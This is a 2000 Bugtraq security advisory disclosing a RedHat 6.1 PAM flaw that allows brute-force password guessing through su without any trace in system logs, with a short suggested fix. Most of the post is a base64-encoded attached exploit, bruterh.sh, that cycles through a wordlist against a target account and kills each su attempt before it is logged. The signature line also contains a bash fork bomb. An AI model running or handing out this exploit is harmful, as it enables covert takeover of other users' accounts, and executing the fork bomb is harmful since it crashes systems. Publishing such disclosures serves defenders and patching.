RedHat 6.1 /and others/ PAM
Date: Sun, 30 Jan 2000 12:12:16 +0100
From: Michal Zalewski <lcamtuf@AGS.PL>
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: RedHat 6.1 /and others/ PAM
This message is in MIME format. The first part should be readable text,
while the remaining parts are likely unreadable without MIME-aware tools.
Send mail to mime@docserver.cac.washington.edu for more info.
--8323328-739699108-948744461=:838
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Content-ID: <lcamtuf.4.05.10001301212032.838@nimue.ids.pl>
A vulnerability /feature?;)/ in PAM shipped with RedHat 6.1 allows
attacker to perform rapid brute-force password cracking attack without any
evidence in system logs.
Exploit attached.
Fix: do syslog() stuff before sleep() or change /bin/su behaviour in some
other way.
_______________________________________________________
Michal Zalewski * [lcamtuf@ags.pl] <=> [AGS WAN SYSADM]
[dione.ids.pl SYSADM] <-> [http://lcamtuf.na.export.pl]
[+48 22 813 25 86] [+48 603 110 160] bash$ :(){ :|:&};:
=-----=> God is real, unless declared integer. <=-----=
--8323328-739699108-948744461=:838
Content-Type: APPLICATION/X-SH; NAME="bruterh.sh"
Content-Transfer-Encoding: BASE64
Content-ID: <lcamtuf.4.05.10001242107410.838@nimue.ids.pl>
Content-Description:
Content-Disposition: ATTACHMENT; FILENAME="bruterh.sh"
IyEvYmluL2Jhc2gKCiMgKGMpIDE5OTkvMjAwMCA8bGNhbXR1ZkBpZHMucGw+
CiMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMKIyBSZXF1aXJl
bWVudHM6CiMKIyAtIHdvcmtpbmcgL2Jpbi9zdQojIC0gcmVjZW50IFBBTSBp
bXBsZW1lbnRhdGlvbiAodGVzdGVkIHdpdGggUmVkSGF0IDUueCkKIyAtICd1
c2xlZXAnIGNvbW1hbmQgYW5kIGJhc2ggMS4xNC54IG9yIDIuMC54CiMKCkRF
U1RBQ0M9J3Rlc3R5JyAgICMgQWNjb3VudCB0byBjcmFjawpXT1JERklMRT0n
d29yZHMnICAjIFdvcmRmaWxlIHdpdGggcGFzc3dvcmRzIHRvIHRlc3QKCktJ
TExERUxBWT0wMyAgICAgICMgRGVsYXkgKGluIDEvMTAgc2VjKSB0byB3YWl0
IGZvciBzdSAoPDEwKQoKIyBFbmQgb2Ygc2V0dXAuCgpjbGVhcgplY2hvICJS
ZWRIYXQgLSBOb3RoaW5nSW5Mb2dzW3RtXSBCcnV0ZUZvcmNlKFIpIFBhc3N3
b3JkIENyYWNrIgplY2hvICItLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIgplY2hvICIgIC0gKGMpIDE5
OTkvMjAwMCwgTWljaGFsIFphbGV3c2tpIDxsY2FtdHVmQGlkcy5wbD4gLSAg
IgplY2hvIAoKaWYgWyAhICIkMSIgPSAiIiBdOyB0aGVuCiAgREVTVEFDQz0i
JDEiCmZpCgpLRD0kW0tJTExERUxBWSoxMDAwMDBdCgplY2hvICJbK10gQ29u
ZmlndXJlZCBhZ2FpbnN0IHVzZXIgJyRERVNUQUNDJywgd29yZGZpbGU6ICRX
T1JERklMRSIKZWNobyAiWytdIEtpbGwtZGVsYXkgc2V0IHRvICRLRCB1c2Vj
cy4uLiIKCgppZCAiJERFU1RBQ0MiICY+L2Rldi9udWxsCgppZiBbICEgIiQ/
IiA9ICIwIiBdOyB0aGVuCiAgZWNobyAiWy1dIEhtbSwgdXNlciAnJERFU1RB
Q0MnIG5vdCBmb3VuZCwgcGFyYW5vaWE/IgogIGVjaG8KICBleGl0IDAKZmkK
ClNITD0iYGdyZXAgIl4kREVTVEFDQzoiIC9ldGMvcGFzc3dkfGF3ayAtRjog
J3twcmludCAkN30nYCIKCmlmIFsgISAiJFNITCIgPSAiL2Jpbi9iYXNoIiBd
OyB0aGVuCiAgZWNobyAiWy1dIEhtbSwgdXNlciAnJERFU1RBQ0MnIGhhcyAk
U0hMIHNldCBhcyBzaGVsbCwgZXhwZWN0IHByb2JsZW1zLi4uIgpmaQoKZWNo
byAiWytdIERlc3RpbmF0aW9uIGFjY291bnQgaXMgYWxpdmUgYW5kIHdlbGwu
Li4iCgppZiBbICEgLWYgIiRXT1JERklMRSIgXTsgdGhlbgogIGVjaG8gIlst
XSBXb3JkZmlsZSAnJFdPUkRGSUxFJyBub3QgZm91bmQsIGNoZWNrIGl0LiIK
ICBlY2hvCiAgZXhpdCAwCmZpCgppZiBbICEgLXUgL2Jpbi9zdSBdOyB0aGVu
CiAgZWNobyAiWy1dIENhbid0IGZpbmQgK3Mgb24gL2Jpbi9zdSwgaGFjayBt
ZS4iCiAgZWNobwogIGV4aXQgMApmaQoKaWYgWyAhIC14IC9iaW4vc3UgXTsg
dGhlbgogIGVjaG8gIlstXSBIYXZlbid0ICt4IG9uIC9iaW4vc3UsIGhhY2sg
bWUuIgogIGVjaG8KICBleGl0IDAKZmkKCmVjaG8gIlsrXSAvYmluL3N1IHNl
ZW1zIHRvIGJlIGV4ZWN1dGFibGUgYW5kIHNldHVpZCwgaG9wZWZ1bGx5IGl0
IHdvcmtzLi4uIgoKaWYgWyAhIC14IC9iaW4vdXNsZWVwIF07IHRoZW4KICBl
Y2hvICJbLV0gTm8gL2Jpbi91c2xlZXAgaW4gdGhpcyBzeXN0ZW0uIEJlIGEg
aGFja2VyLiIKICBlY2hvCiAgZXhpdCAwCmZpCgppZiBbICIkVUlEIiA9ICIw
IiBdOyB0aGVuCiAgZWNobyAiWy1dIFJvb3Q/ISBZb3UgaWRpb3QuLi4iCiAg
ZWNobwogIGV4aXQgMApmaQoKZWNobyAiWytdIExldCdzIGdvIHN0cmFpZ2h0
IHRvIG51bWJlciBvbmUuLi4iCgpMTlM9ImBjYXQgJFdPUkRGSUxFIHwgd2Mg
LWx8YXdrICd7cHJpbnQgJDF9J2AiCkNOVD0wCgplY2hvICJbK10gV29yZGZp
bGUgJyRXT1JERklMRScgbG9hZGVkIC0gJExOUyBwYXNzd29yZHMuLi4iCmVj
aG8gIlsrXSBFc3RpbWF0ZWQgdGltZTogJFtMTlMqS0lMTERFTEFZLzI1XSBz
ZWNzLCBtYXg6ICRbTE5TKktJTExERUxBWS8xMF0gc2Vjcy4iCgp3aGlsZSBb
ICIkQ05UIiAtbHQgIiRMTlMiIF07IGRvCiAgQ05UPSRbQ05UKzFdCiAgUEFT
Uz0iYGhlYWQgLSRDTlQgJFdPUkRGSUxFfHRhaWwgLTFgIgogIGVjaG8gLW5l
ICJbP10gVHJ5aW5nICckUEFTUycgKCRDTlQvJExOUykuLi4gICAgICAgICAg
ICAgICAgXHIiCiAgZWNobyAiJFBBU1MiIHwgc3UgIiRERVNUQUNDIiAmPi9k
ZXYvbnVsbCAmCiAgdXNsZWVwICRLRAogIGtpbGwgLTkgJCEgJj4vZGV2L251
bGwKICBpZiBbICEgIiQ/IiA9ICIwIiBdOyB0aGVuCiAgICBlY2hvCiAgICBl
Y2hvICJbKl0gSHVoLCBpdCB3b3JrZWQuIEkndmUgdHJpZWQgcGFzc3dvcmQg
JyRQQVNTJyBmb3IgJyRERVNUQUNDJy4iCiAgICBlY2hvICJbK10gVGltZSB3
YXN0ZWQ6ICRbS0lMTERFTEFZKkNOVC8xMF0gc2Vjb25kcy4iCiAgICBlY2hv
ICJbK10gVGhhbmsgWW91LCBhbmQgaG9wZSB5b3UgZW5qb3llZCB5b3VyIHN0
YXkuIgogICAgZWNobwogICAgZXhpdCAwCiAgZmkKZG9uZQoKZWNobyAiWypd
IEhtbSwgZW5kIG9mIHdvcmRmaWxlLCBidXQgbm8gbWF0Y2hpbmcgcGFzc3dv
cmRzIDooIgplY2hvICJbK10gVGltZSB3YXN0ZWQ6ICRbS0lMTERFTEFZKkNO
VC8xMF0gc2Vjb25kcy4iCmVjaG8gIlsrXSBCYWQgZGF5LCB0cnkgYWdhaW4g
dG9tb3Jyb3c/IgplY2hvCmV4aXQgMAo=
--8323328-739699108-948744461=:838--
